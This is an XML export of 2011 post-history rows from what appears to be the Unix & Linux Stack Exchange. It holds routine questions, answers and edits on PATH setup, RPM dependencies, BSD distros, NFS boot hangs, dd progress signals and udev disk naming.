  <row Id="27257" PostHistoryTypeId="2" PostId="11252" RevisionGUID="141beb02-b070-490d-be73-d7eabd5ca23f" CreationDate="2011-04-13T13:32:38.007" UserId="5824" Text="If you have the application in your user's home directory, then you'll need to call it via a path to it (ie, either ./program or /home/user/program).  Or, you can put it into a component of your path like /usr/bin or something (but that'll eat up precious space on your maemo device).  Or, put it in a new path location like ~user/bin and add that path to your default PATH by putting this in your ~user/profile:&#xD;&#xA;&#xD;&#xA;    export PATH=$HOME/bin:$PATH&#xD;&#xA;&#xD;&#xA;Or, you could create a desktop file (which goes into /usr/share/applications/hildon/) which will allow you to execute the program from the normal list of programs in the application list." />
  <row Id="27259" PostHistoryTypeId="2" PostId="11253" RevisionGUID="e13e51d8-7245-4f91-a11b-e64785ad8223" CreationDate="2011-04-13T14:32:25.387" UserId="4520" Text=" I use `fuser` for this kind of thing.  It will list which process is using a file or files within a mount. " />
  <row Id="27260" PostHistoryTypeId="2" PostId="11254" RevisionGUID="83741338-05b3-4dac-9882-803a86bd3fe7" CreationDate="2011-04-13T14:55:06.360" UserId="1925" Text="No. This isn't how you go about it. You really do need to build separate packages for each distro. This will require a slightly different looking spec file for each distro, and sometimes for different versions of a distro of you are targetting more than the current release.&#xD;&#xA;&#xD;&#xA;Your &quot;conditionals&quot; should go one step higher up ... on picking which RPM to use, not inside the RPM itself. If you want you can generate these spec files from a script with conditionals so to automate this process for you, but when you build a package from a spec you will need a distro-specific spec." />
  <row Id="27262" PostHistoryTypeId="25" PostId="11235" RevisionGUID="1fdd43b1-a513-4378-b40e-5a7c5a090029" CreationDate="2011-04-13T15:09:08.073" Comment="http://twitter.com/#!/StackUnix/status/58184951849431040" />
  <row Id="27263" PostHistoryTypeId="17" PostId="11256" RevisionGUID="c822629e-e8db-43c5-9e70-8272f29ec4cf" CreationDate="2011-04-13T15:18:53.903" UserId="-1" Comment="from http://stackoverflow.com/questions/5645189/best-bsd-distro-for-desktop-pcs/5645624#5645624" Text="" />
  <row Id="27264" PostHistoryTypeId="2" PostId="11256" RevisionGUID="ffba6c09-66a8-4e0b-a813-ef1f38f87949" CreationDate="2011-04-13T07:08:50.957" UserDisplayName="Sandro Munda" Text="Like Code Gray said : &quot;Best distro&quot; is an extremely subjective question.&#xD;&#xA;&#xD;&#xA;However, FreeBSD has certainly the largest community in terms of number of users and ports. I think that you could try it.&#xD;&#xA;&#xD;&#xA;In addition, there is a system based on FreeBSD named [PCBSD][1] :&#xD;&#xA;&#xD;&#xA;&gt; PC-BSD is a free operating system with&#xD;&#xA;&gt; ease of use in mind. Like any modern&#xD;&#xA;&gt; system, you can listen to your&#xD;&#xA;&gt; favorite music, watch your movies,&#xD;&#xA;&gt; work with office documents and install&#xD;&#xA;&gt; your favorite applications with a&#xD;&#xA;&gt; setup wizard at a click.&#xD;&#xA;&#xD;&#xA;My answer is very subjective, but I think it may help you.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pcbsd.org/" />
  <row Id="27265" PostHistoryTypeId="2" PostId="11255" RevisionGUID="508c4f48-033f-4e51-83dc-75868f65475c" CreationDate="2011-04-13T06:19:54.697" UserDisplayName="Krax" Text="I want to know if the bsd distros are for the desktop usage at all&#xD;&#xA;&#xD;&#xA;If yes; What is the Best bsd distro for desktop usage some thing like ubuntu linux which is easy to use and good GUI management instead of command line system management" />
  <row Id="27266" PostHistoryTypeId="1" PostId="11255" RevisionGUID="508c4f48-033f-4e51-83dc-75868f65475c" CreationDate="2011-04-13T06:19:54.697" UserDisplayName="Krax" Text="best BSD distro for Desktop PCs?" />
  <row Id="27267" PostHistoryTypeId="3" PostId="11255" RevisionGUID="508c4f48-033f-4e51-83dc-75868f65475c" CreationDate="2011-04-13T06:19:54.697" UserDisplayName="Krax" Text="éfreebsdàébsdà" />
  <row Id="27268" PostHistoryTypeId="17" PostId="11255" RevisionGUID="66576b70-60e6-44bc-8ec1-e6684d6a4d48" CreationDate="2011-04-13T15:18:53.903" UserId="-1" Comment="from http://stackoverflow.com/questions/5645189/best-bsd-distro-for-desktop-pcs" Text="" />
  <row Id="27269" PostHistoryTypeId="10" PostId="11255" RevisionGUID="9ed81583-dd86-40a9-aed0-cf07507844c5" CreationDate="2011-04-13T15:29:10.763" UserId="73" CloseReasonId="3" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="27270" PostHistoryTypeId="5" PostId="11231" RevisionGUID="cf9e5397-2772-4397-8fac-d19e34d6955d" CreationDate="2011-04-13T15:29:27.567" UserId="1925" Comment="English, style guide, and readability" Text="I'm trying to build a cross-distro binary RPM package that works under Fedora and openSUSE. I'm using a `Require:` tag to set the dependencies package names. The problem is that the package names are different in each GNU/Linux distro repo. &#xD;&#xA;&#xD;&#xA;Reading: http://goo.gl/3MXSq, and using '%if 0%{?suse_version}&#xD;&#xA;' statements give a cross-distro .spec file. That is, the list of deps will be determined at build-time not install-time.&#xD;&#xA;&#xD;&#xA;Is there a way to set a conditional list of deps inside a binary RPM package?" />
  <row Id="27271" PostHistoryTypeId="24" PostId="11231" RevisionGUID="cf9e5397-2772-4397-8fac-d19e34d6955d" CreationDate="2011-04-13T15:29:27.567" Comment="Proposed by 1925 approved by 73 edit id of 266" />
  <row Id="27272" PostHistoryTypeId="5" PostId="11205" RevisionGUID="019e4846-0063-4740-aa8d-539086561f03" CreationDate="2011-04-13T15:32:00.947" UserId="4531" Comment="edited body" Text="My understanding is that terminals often use ANSI control-codes to represent non-alphanumeric character sequences. For example, when editing `.inputrc` for Bash in Linux, it's easy to find code sequences that look as follows:&#xD;&#xA;&#xD;&#xA;    &quot;\e[A&quot;: history-search-backward&#xD;&#xA;    &quot;\e[B&quot;: history-search-forward&#xD;&#xA;    &quot;\e[C&quot;: forward-char&#xD;&#xA;    &quot;\e[D&quot;: backward-char&#xD;&#xA;    &quot;\e[1~&quot;: beginning-of-line&#xD;&#xA;    &quot;\e[4~&quot;: end-of-line&#xD;&#xA;    &quot;\e[3~&quot;: delete-char&#xD;&#xA;    &quot;\e[2~&quot;: quoted-insert&#xD;&#xA;    &quot;\e[5C&quot;: forward-word&#xD;&#xA;    &quot;\e[5D&quot;: backward-word&#xD;&#xA;&#xD;&#xA;The commands above [define][1] key bindings for the Bash commands `history-search-backward`, etc..&#xD;&#xA;&#xD;&#xA;Now, in bash, I can use `read` to see how characters typed in my keyboard are mapped to ANSI control codes. E.g. For example, if I run `read`, and then enter `Ctrl-P`, I get: `^P`. Similarly, if I enter  `Alt-W`, I get: `^[W`. &#xD;&#xA;&#xD;&#xA;My question is: Is there a program, tool or website that does the opposite? I.e. a tool that outputs or shows the sequence of keyboard keys that I need to type on my keyboard to obtain a given ANSI control-code sequence. For example, entering `^[W` should output: `Alt-W`&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/269464/understanding-control-characters-in-inputrc" />
  <row Id="27273" PostHistoryTypeId="2" PostId="11257" RevisionGUID="e879fb2c-a531-487f-adcf-ce0d464b9ee0" CreationDate="2011-04-13T15:53:20.407" UserId="2671" Text="I have this problem on all machines that I every installed (different configurations, different geographical locations, even different OpenSuSe versions) and it's extremely irritating.&#xD;&#xA;&#xD;&#xA;When I turn on network manager, all machines simply hang during boot. It seems that they hang on mounting network file systems. This happens even if the machines are connected to wired network (I would understand if it would happen only on WiFi).&#xD;&#xA;&#xD;&#xA;Now, this problem disappears if I turn of auto mounting of NFS partitions (each machine mount at least one), by setting the noauto in /etc/fstab.&#xD;&#xA;&#xD;&#xA;A solution would be keeping the noauto and leaving the automount to some daemon, that is started later, or fixing the problem with network manager. Any ideas?" />
  <row Id="27274" PostHistoryTypeId="1" PostId="11257" RevisionGUID="e879fb2c-a531-487f-adcf-ce0d464b9ee0" CreationDate="2011-04-13T15:53:20.407" UserId="2671" Text="When networkmanager is used, OpenSuSe stucks during boot for 10 minutes" />
  <row Id="27275" PostHistoryTypeId="3" PostId="11257" RevisionGUID="e879fb2c-a531-487f-adcf-ce0d464b9ee0" CreationDate="2011-04-13T15:53:20.407" UserId="2671" Text="éfilesystemsàéopensuseàénfsàéautomountingàénetworkingà" />
  <row Id="27276" PostHistoryTypeId="2" PostId="11258" RevisionGUID="45e57399-2e20-4feb-b3ad-2ece6361adf3" CreationDate="2011-04-13T16:16:29.583" UserId="6562" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have 2 csv files in the following form:  &#xD;&#xA;file 1 &quot;availableText.csv&quot; (can be very big)&#xD;&#xA;&gt; &quot;id1&quot; , &quot;text1-1&quot;  &#xD;&#xA;&gt; &quot;id1&quot; , &quot;text1-2&quot;  &#xD;&#xA;&gt; &quot;id1&quot; , &quot;text1-3&quot;  &#xD;&#xA;&gt; &quot;id1&quot; , &quot;text1-4&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;text2-1&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;text2-2&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;text2-3&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;text2-4&quot;  &#xD;&#xA;&gt; ...&#xD;&#xA;&#xD;&#xA;and file 2 (wrongText.csv)&#xD;&#xA;&#xD;&#xA;&gt; &quot;id1&quot; , &quot;texta&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;textb&quot;  &#xD;&#xA;&gt; &quot;id3&quot; , &quot;textc&quot;  &#xD;&#xA;&gt; &quot;id4&quot; , &quot;textd&quot;  &#xD;&#xA;&gt; ...&#xD;&#xA;&#xD;&#xA;for every line in wrongText.scv i want to filter the available text entries for the same id and suggest the best available option using **tre-agrep** (&#xD;&#xA;tre-agrep is a grep-like functions that allows error in the pattern and using -B returns the best match)&#xD;&#xA;&gt; e.g. for id1  &#xD;&#xA;&gt; tre-agrep  -B 'texta' (from text1-1:4) | tr &quot;\n&quot; &quot;$&quot;&#xD;&#xA;&#xD;&#xA;the desired output file would be like this  &#xD;&#xA;&gt; &quot;id1&quot; , &quot;texta&quot; , &quot;text1-2$text1-4&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;textb&quot; , &quot;text2-1$text2-3$text2-4&quot;   &#xD;&#xA;&#xD;&#xA;note:  &#xD;&#xA;1)the csv can be converted to any format but text may contain spaces  (but not special characters)  &#xD;&#xA;2) id's do contain both special characters and utf-8  &#xD;&#xA;3) speed does not matter (for now at least)" />
  <row Id="27277" PostHistoryTypeId="1" PostId="11258" RevisionGUID="45e57399-2e20-4feb-b3ad-2ece6361adf3" CreationDate="2011-04-13T16:16:29.583" UserId="6562" Text="generate suggustions for errors from a lookup dictionary" />
  <row Id="27278" PostHistoryTypeId="3" PostId="11258" RevisionGUID="45e57399-2e20-4feb-b3ad-2ece6361adf3" CreationDate="2011-04-13T16:16:29.583" UserId="6562" Text="éshellàégrepà" />
  <row Id="27279" PostHistoryTypeId="2" PostId="11259" RevisionGUID="22efbabd-3ffe-43ac-a049-9fd752633ee6" CreationDate="2011-04-13T16:19:26.240" UserId="2567" Text="No.&#xD;&#xA;&#xD;&#xA;But you could a ramdisk for the /tmp dir then it would be empty after every reboot of the system. And as a side effect your system may become a little big faster.&#xD;&#xA;&#xD;&#xA;Google has a lot on info on tmpfs and/or ramfs.&#xD;&#xA;&#xD;&#xA;* http://www.thegeekstuff.com/2008/11/overview-of-ramfs-and-tmpfs-on-linux/" />
  <row Id="27280" PostHistoryTypeId="2" PostId="11260" RevisionGUID="ca354ab1-76f9-46e7-9ca6-a48d9bc272cc" CreationDate="2011-04-13T16:19:39.220" UserId="688" Text="Debian 6 has multiple Linux kernel packages, and I'm interested in two of them:&#xD;&#xA;&#xD;&#xA;* linux-image-2.6.32-5-686-bigmem&#xD;&#xA;* linux-image-2.6.32-5-amd64&#xD;&#xA;&#xD;&#xA;Consider that:&#xD;&#xA;&#xD;&#xA;* I'm not going to be running any application that eats over 4GB RAM&#xD;&#xA;* I have &gt; 3GB of RAM installed&#xD;&#xA;* I want to remain on 32-bit userland&#xD;&#xA;&#xD;&#xA;Why should I choose one over the other, if I have a processor capable of running each of them?" />
  <row Id="27281" PostHistoryTypeId="1" PostId="11260" RevisionGUID="ca354ab1-76f9-46e7-9ca6-a48d9bc272cc" CreationDate="2011-04-13T16:19:39.220" UserId="688" Text="Differences between Debian bigmem and amd64 kernels" />
  <row Id="27282" PostHistoryTypeId="3" PostId="11260" RevisionGUID="ca354ab1-76f9-46e7-9ca6-a48d9bc272cc" CreationDate="2011-04-13T16:19:39.220" UserId="688" Text="élinuxà" />
  <row Id="27283" PostHistoryTypeId="2" PostId="11261" RevisionGUID="166a42c0-f74e-443b-8fd4-0421d38dfa10" CreationDate="2011-04-13T16:35:13.357" UserId="3513" Text="Using mount.cifs on openSUSE 11.3, I'm getting very slow performance on a gigabit network, usually around 4-5MB/s.  The following mount command has yielded me the best performance so far:&#xD;&#xA; &#xD;&#xA;mount.cifs //server/share /mnt/share -o user=aduser,domain=ADDOMAIN,uid=aduser,nogrp,nobrl&#xD;&#xA; &#xD;&#xA;Windows 7 on the same network gets almost full gig.&#xD;&#xA;&#xD;&#xA;What else can I try to make it faster?" />
  <row Id="27284" PostHistoryTypeId="1" PostId="11261" RevisionGUID="166a42c0-f74e-443b-8fd4-0421d38dfa10" CreationDate="2011-04-13T16:35:13.357" UserId="3513" Text="mount.cifs is slow" />
  <row Id="27285" PostHistoryTypeId="3" PostId="11261" RevisionGUID="166a42c0-f74e-443b-8fd4-0421d38dfa10" CreationDate="2011-04-13T16:35:13.357" UserId="3513" Text="éperformanceàésambaà" />
  <row Id="27286" PostHistoryTypeId="5" PostId="11258" RevisionGUID="3321388b-7128-40a2-a253-2e4315460792" CreationDate="2011-04-13T16:55:56.630" UserId="73" Comment="added 1 characters in body; edited title" Text="I have 2 csv files in the following form:  &#xD;&#xA;&#xD;&#xA;### File 1: availableText.csv (can be very big)&#xD;&#xA;&#xD;&#xA;&gt; &quot;id1&quot; , &quot;text1-1&quot;  &#xD;&#xA;&gt; &quot;id1&quot; , &quot;text1-2&quot;  &#xD;&#xA;&gt; &quot;id1&quot; , &quot;text1-3&quot;  &#xD;&#xA;&gt; &quot;id1&quot; , &quot;text1-4&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;text2-1&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;text2-2&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;text2-3&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;text2-4&quot;  &#xD;&#xA;&gt; ...&#xD;&#xA;&#xD;&#xA;### File 2: wrongText.csv&#xD;&#xA;&#xD;&#xA;&gt; &quot;id1&quot; , &quot;texta&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;textb&quot;  &#xD;&#xA;&gt; &quot;id3&quot; , &quot;textc&quot;  &#xD;&#xA;&gt; &quot;id4&quot; , &quot;textd&quot;  &#xD;&#xA;&gt; ...&#xD;&#xA;&#xD;&#xA;For every line in `wrongText.csv`, I want to filter the available text entries for the same id and suggest the best available option using `tre-agrep` (a grep-like functions that allows error in the pattern and using -B returns the best match)&#xD;&#xA;&#xD;&#xA;For example, for `id1`:&#xD;&#xA;&#xD;&#xA;    tre-agrep  -B 'texta' (from text1-1:4) | tr &quot;\n&quot; &quot;$&quot;&#xD;&#xA;&#xD;&#xA;The desired output file would be like this:&#xD;&#xA;&#xD;&#xA;&gt; &quot;id1&quot; , &quot;texta&quot; , &quot;text1-2$text1-4&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;textb&quot; , &quot;text2-1$text2-3$text2-4&quot;   &#xD;&#xA;&#xD;&#xA;Note:&#xD;&#xA;&#xD;&#xA;1. The CSV can be converted to any format, but text may contain spaces (but not special characters)  &#xD;&#xA;2. IDs do contain both special characters and utf-8  &#xD;&#xA;3. Speed does not matter (for now at least)&#xD;&#xA;" />
  <row Id="27287" PostHistoryTypeId="4" PostId="11258" RevisionGUID="3321388b-7128-40a2-a253-2e4315460792" CreationDate="2011-04-13T16:55:56.630" UserId="73" Comment="added 1 characters in body; edited title" Text="Generate suggestions for errors from a lookup dictionary" />
  <row Id="27288" PostHistoryTypeId="2" PostId="11262" RevisionGUID="8e610689-9893-4a58-bef5-e39c522ee78e" CreationDate="2011-04-13T17:19:04.043" UserId="5286" Text="I've not used `dd` all that much, but so far it's not failed me yet. Right now, I've had a `dd` going for over 12 hours - I'm writing an image back to the disk it came from - and I'm getting a little worried, as I was able to `dd` from the disk to the image in about 7 hours. &#xD;&#xA;&#xD;&#xA;I'm running OSX 10.6.6 on a MacBook with a Core 2 Duo at 2.1ghz/core with 4gb RAM. I'm reading from a .dmg on a 7200rpm hard drive (the boot drive), and I'm writing to a 7200rpm drive connected over a SATA-to-USB connector. I left the blocksize at default, and the image is about 160gb." />
  <row Id="27289" PostHistoryTypeId="1" PostId="11262" RevisionGUID="8e610689-9893-4a58-bef5-e39c522ee78e" CreationDate="2011-04-13T17:19:04.043" UserId="5286" Text="dd: How do I know if it's still working?" />
  <row Id="27290" PostHistoryTypeId="3" PostId="11262" RevisionGUID="8e610689-9893-4a58-bef5-e39c522ee78e" CreationDate="2011-04-13T17:19:04.043" UserId="5286" Text="éhardödiskàéfileötransferàéddà" />
  <row Id="27291" PostHistoryTypeId="2" PostId="11263" RevisionGUID="787a9ccd-df0f-45c0-842e-45e6ab122a1c" CreationDate="2011-04-13T17:21:49.540" UserId="4485" Text="What does the hdd-led suggest? &#xD;&#xA;&#xD;&#xA;Normally, if a program terminates, you get back the prompt. " />
  <row Id="27292" PostHistoryTypeId="2" PostId="11264" RevisionGUID="8b27a4c1-462c-4bc3-a342-b373e021f9ec" CreationDate="2011-04-13T17:23:21.780" UserId="1925" Text="I think you can send dd a kill command with a certain signal to make it output current status:&#xD;&#xA;&#xD;&#xA;    kill -USR1 $PID&#xD;&#xA;&#xD;&#xA;You can find the process id ($PID above) like so:&#xD;&#xA;&#xD;&#xA;    pgrep dd&#xD;&#xA;&#xD;&#xA;dd should resume coping after it outputs it's status." />
  <row Id="27295" PostHistoryTypeId="5" PostId="7401" RevisionGUID="656c25d9-7de3-4c00-a848-75ccb3a875d2" CreationDate="2011-04-13T18:06:50.943" UserId="885" Comment="mention aptitude-create-state-bundle (thanks intuited)" Text="First, if you're going to keep running 32-bit binaries, you're not actually changing the processor architecture: you'll still be running an x86 processor, even if it's also capable of doing other things. In that case, I recommend cloning your installation or simply moving the hard disk, as described in [Moving linux install to a new computer](http://unix.stackexchange.com/questions/2865/moving-linux-install-to-a-new-computer).&#xD;&#xA;&#xD;&#xA;On the other hand, if you want to have a 64-bit system (in Ubuntu terms: an `amd64` architecture), you need to reinstall, because you can't install `amd64` packages on an `i386` system or vice versa. (This will change when [Multiarch](https://wiki.ubuntu.com/MultiarchSpec) comes along).&#xD;&#xA;&#xD;&#xA;Many customizations live in your home directory, and you can copy that to the new machine. The system settings can't be copied so easily because of the change in processor architecture.&#xD;&#xA;&#xD;&#xA;On Ubuntu 10.10 and up, try [OneConf](https://wiki.ubuntu.com/OneConf).&#xD;&#xA;&#xD;&#xA;&gt; OneConf is a mechanism for recording software information in Ubuntu One, and synchronizing with other computers as needed. In Maverick, the list of installed software is stored. This may eventually expand to include some application settings and application state. Other tools like [Stipple](https://launchpad.net/stipple) can provide more advanced settings/control. &#xD;&#xA;&#xD;&#xA;One of the main things you'll want to reproduce on the new installation is the set of installed packages. On APT-based distributions, you can use the `aptitude-create-state-bundle` command (part of the `aptitude` package) to create an archive containing the list of installed packages and their [debconf](http://en.wikipedia.org/wiki/Debconf_%28software_package%29) configuration, and `aptitude-run-state-bundle` on the new machine. (Thanks to [intuited](http://unix.stackexchange.com/users/1535/intuited) for telling me about `aptitude-create-state-bundle`.) See also [Ubuntu list explicitly installed packages](http://unix.stackexchange.com/questions/3595/ubuntu-list-explicitly-installed-packages) and the Super User and Ask Ubuntu questions cited there, especially [Telemachus's answer](http://superuser.com/questions/6338/how-do-you-track-which-packages-were-installed-on-ubuntu-linux/6932#6932), on how to do this part manually.&#xD;&#xA;&#xD;&#xA;For things you've changed in `/etc`, you'll need to review them. Many have to do with the specific hardware or network settings and should not be copied. Others have to do with personal preferences — but you should set personal preferences on a per-user basis whenever possible, so that the settings are saved in your home directory.&#xD;&#xA;&#xD;&#xA;If you plan in advance, you can use [etckeeper](http://packages.ubuntu.com/etckeeper) [![Install etckeeper](http://bit.ly/software-small)](http://apt.ubuntu.com/p/etckeeper) to put `/etc` under version control ([etckeeper quickstart](http://askubuntu.com/questions/8329/is-there-a-system-journal-that-i-can-install/8343#8343)). You don't need to know anything about version control to use etckeeper, you only need to start learning if you want to take advantage of it to do fancy things. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="27296" PostHistoryTypeId="25" PostId="11262" RevisionGUID="76a880a0-6e54-458b-903f-a413713437fc" CreationDate="2011-04-13T18:09:08.740" Comment="http://twitter.com/#!/StackUnix/status/58230253432217602" />
  <row Id="27297" PostHistoryTypeId="5" PostId="11214" RevisionGUID="df6392cb-704b-40f7-b4b4-323239e312cf" CreationDate="2011-04-13T18:10:34.307" UserId="885" Comment="fixed /dev/disk/by-* path (thanks camh)" Text="The default order in which `sda`, `sdb`, `sdc` are assigned is unpredictable. But it can be overridden through [`udev`](http://en.wikipedia.org/wiki/Udev). You can control the name of the block device files by adding directives in `/etc/udev/rules.d/local.rules` (some (older?) systems may only support `/etc/udev/rules.conf`). Better, you can add directives to create symbolic links, and use those symbolic links in your `fstab`. You can match by driver, by serial number, or call external programs to read things like filesystem UUIDs. The official documentation is a bit dry; if you need to write udev rules, you may prefer to start with a [tutorial](http://reactivated.net/writing_udev_rules.html).&#xD;&#xA;&#xD;&#xA;    KERNEL==&quot;sd*&quot;, DRIVERS=&quot;ahci&quot;, SYMLINK+=&quot;sata&quot;&#xD;&#xA;&#xD;&#xA;If you're using LVM exclusively on a drive, it doesn't matter what the letter the block device for the disk uses: you'll just be using the volume names. (That's one of the major advantages of LVM.)&#xD;&#xA;&#xD;&#xA;If you look in `/dev/disk/by-*`, you'll see various ways of naming disks that are part of udev's default setup: `/dev/disk/by-id` (disk serial number and more), `/dev/disk/by-label` (filesystem or other label), `/dev/disk/by-path` (SCSI IDs and so on), `/dev/disk/by-uuid` (filesystem UUIDs and the like). These may be sufficient for your purposes.&#xD;&#xA;&#xD;&#xA;It's better to match filesystem labels or UUIDs than disk serial numbers, because those don't change if you crash a disk in a RAID array or restore from a byte-for-byte copy (or, for labels, make label restoration part of your recovery procedure). You can use filesystem UUIDs directly in `/etc/fstab`: use `UUID=01234567-89ab-cdef-0123-456789abcdef` in the first field, instead of a block device path.&#xD;&#xA;" />
  <row Id="27298" PostHistoryTypeId="6" PostId="2447" RevisionGUID="07850515-07bd-4e06-b828-c0c666ed15e4" CreationDate="2011-04-13T18:11:51.123" UserId="885" Comment="edited tags" Text="élinuxàéhardödiskàésataàépataà" />
  <row Id="27299" PostHistoryTypeId="5" PostId="11258" RevisionGUID="e653369d-7fa1-42b1-91c4-94271fed513f" CreationDate="2011-04-13T18:12:06.940" UserId="6562" Comment="added 53 characters in body" Text="I have 2 csv files in the following form:  &#xD;&#xA;&#xD;&#xA;### File 1: availableText.csv (can be very big)&#xD;&#xA;&#xD;&#xA;&gt; &quot;id1&quot; , &quot;text1-1&quot;  &#xD;&#xA;&gt; &quot;id1&quot; , &quot;text1-2&quot;  &#xD;&#xA;&gt; &quot;id1&quot; , &quot;text1-3&quot;  &#xD;&#xA;&gt; &quot;id1&quot; , &quot;text1-4&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;text2-1&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;text2-2&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;text2-3&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;text2-4&quot;  &#xD;&#xA;&gt; ...&#xD;&#xA;&#xD;&#xA;### File 2: wrongText.csv&#xD;&#xA;&#xD;&#xA;&gt; &quot;id1&quot; , &quot;texta&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;textb&quot;  &#xD;&#xA;&gt; &quot;id3&quot; , &quot;textc&quot;  &#xD;&#xA;&gt; &quot;id4&quot; , &quot;textd&quot;  &#xD;&#xA;&gt; ...&#xD;&#xA;&#xD;&#xA;For every line in `wrongText.csv`, I want to filter the available text entries for the same id and suggest the best available option using `tre-agrep` (a grep-like functions that allows error in the pattern and using -B returns the best match)&#xD;&#xA;&#xD;&#xA;For example, for `id1`:&#xD;&#xA;&#xD;&#xA;&gt; tre-agrep  -B 'texta' (from text1-1:4) | tr &quot;\n&quot; &quot;$&quot;  &#xD;&#xA;&gt; ( will produce something like 'text1-2$text1-4' )&#xD;&#xA;&#xD;&#xA;The desired output file would be like this:&#xD;&#xA;&#xD;&#xA;&gt; &quot;id1&quot; , &quot;texta&quot; , &quot;text1-2$text1-4&quot;  &#xD;&#xA;&gt; &quot;id2&quot; , &quot;textb&quot; , &quot;text2-1$text2-3$text2-4&quot;   &#xD;&#xA;&#xD;&#xA;Note:&#xD;&#xA;&#xD;&#xA;1. The CSV can be converted to any format, but text may contain spaces (but not special characters)  &#xD;&#xA;2. IDs do contain both special characters and utf-8  &#xD;&#xA;3. Speed does not matter (for now at least)&#xD;&#xA;" />
  <row Id="27300" PostHistoryTypeId="2" PostId="11266" RevisionGUID="72c87512-4d2c-45e8-b5b8-6db06527fa68" CreationDate="2011-04-13T18:40:29.207" UserId="4485" Text="As oneliner with result:&#xD;&#xA;&#xD;&#xA;    for pattern in $(awk '{print $3}' wrong.csv) ; do tre-agrep -B $pattern available.csv | tr &quot;\n&quot; &quot;$&quot;; echo ; done  &#xD;&#xA;    &quot;id1&quot; , &quot;text1-1&quot;$&quot;id1&quot; , &quot;text1-2&quot;$&quot;id1&quot; , &quot;text1-3&quot;$&quot;id1&quot; , &quot;text1-4&quot;$&quot;id2&quot; , &quot;text2-1&quot;$&quot;id2&quot; , &quot;text2-2&quot;$&quot;id2&quot; , &quot;text2-3&quot;$&quot;id2&quot; , &quot;text2-4&quot;$&#xD;&#xA;    &quot;id1&quot; , &quot;text1-1&quot;$&quot;id1&quot; , &quot;text1-2&quot;$&quot;id1&quot; , &quot;text1-3&quot;$&quot;id1&quot; , &quot;text1-4&quot;$&quot;id2&quot; , &quot;text2-1&quot;$&quot;id2&quot; , &quot;text2-2&quot;$&quot;id2&quot; , &quot;text2-3&quot;$&quot;id2&quot; , &quot;text2-4&quot;$&#xD;&#xA;    &quot;id1&quot; , &quot;text1-1&quot;$&quot;id1&quot; , &quot;text1-2&quot;$&quot;id1&quot; , &quot;text1-3&quot;$&quot;id1&quot; , &quot;text1-4&quot;$&quot;id2&quot; , &quot;text2-1&quot;$&quot;id2&quot; , &quot;text2-2&quot;$&quot;id2&quot; , &quot;text2-3&quot;$&quot;id2&quot; , &quot;text2-4&quot;$&#xD;&#xA;    &quot;id1&quot; , &quot;text1-1&quot;$&quot;id1&quot; , &quot;text1-2&quot;$&quot;id1&quot; , &quot;text1-3&quot;$&quot;id1&quot; , &quot;text1-4&quot;$&quot;id2&quot; , &quot;text2-1&quot;$&quot;id2&quot; , &quot;text2-2&quot;$&quot;id2&quot; , &quot;text2-3&quot;$&quot;id2&quot; , &quot;text2-4&quot;$&#xD;&#xA;&#xD;&#xA;better readable: &#xD;&#xA;    &#xD;&#xA;    for pattern in $(awk '{print $3}' wrong.csv) &#xD;&#xA;    do&#xD;&#xA;      tre-agrep -B $pattern available.csv | tr &quot;\n&quot; &quot;$&quot;&#xD;&#xA;      echo&#xD;&#xA;    done  &#xD;&#xA;&#xD;&#xA;Something like that?" />
  <row Id="27301" PostHistoryTypeId="2" PostId="11267" RevisionGUID="819d0f38-daa8-40c2-a43b-7d125b65cf8c" CreationDate="2011-04-13T18:44:47.630" UserId="6564" Text="I have been using Linux Mint Debian with Debian unstable and noticed that when I press restart, instead of going all the way back to the BIOS, then grub, then booting up, I seem to be shutting down then loading back up without going back to the BIOS or GRUB.&#xD;&#xA;&#xD;&#xA;This is an amazing feature I have not seen before until now. What is this called and when did it happen? I had been a user of Ubuntu for a long time. " />
  <row Id="27302" PostHistoryTypeId="1" PostId="11267" RevisionGUID="819d0f38-daa8-40c2-a43b-7d125b65cf8c" CreationDate="2011-04-13T18:44:47.630" UserId="6564" Text="Rebooting without shutting off?" />
  <row Id="27303" PostHistoryTypeId="3" PostId="11267" RevisionGUID="819d0f38-daa8-40c2-a43b-7d125b65cf8c" CreationDate="2011-04-13T18:44:47.630" UserId="6564" Text="édebianàékernelàéacpiàélinuxömintà" />
  <row Id="27304" PostHistoryTypeId="5" PostId="11264" RevisionGUID="6447e969-8f84-4744-a4ac-802f2a9650c6" CreationDate="2011-04-13T18:49:15.570" UserId="885" Comment="edit answer to make it apply to OSX" Text="I think you can send [dd](http://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man1/dd.1.html) a kill command with a certain signal to make it output current status. The signal is `INFO` on BSD systems (including OSX), `USR1` on Linux.&#xD;&#xA;&#xD;&#xA;    kill -INFO $PID&#xD;&#xA;&#xD;&#xA;You can find the process id ($PID above) with the `ps` command; or see [pgrep and pkill alternatives on mac os x?](http://unix.stackexchange.com/questions/225/pgrep-and-pkill-alternatives-on-mac-os-x) for more convenient methods.&#xD;&#xA;&#xD;&#xA;dd should resume coping after it outputs it's status." />
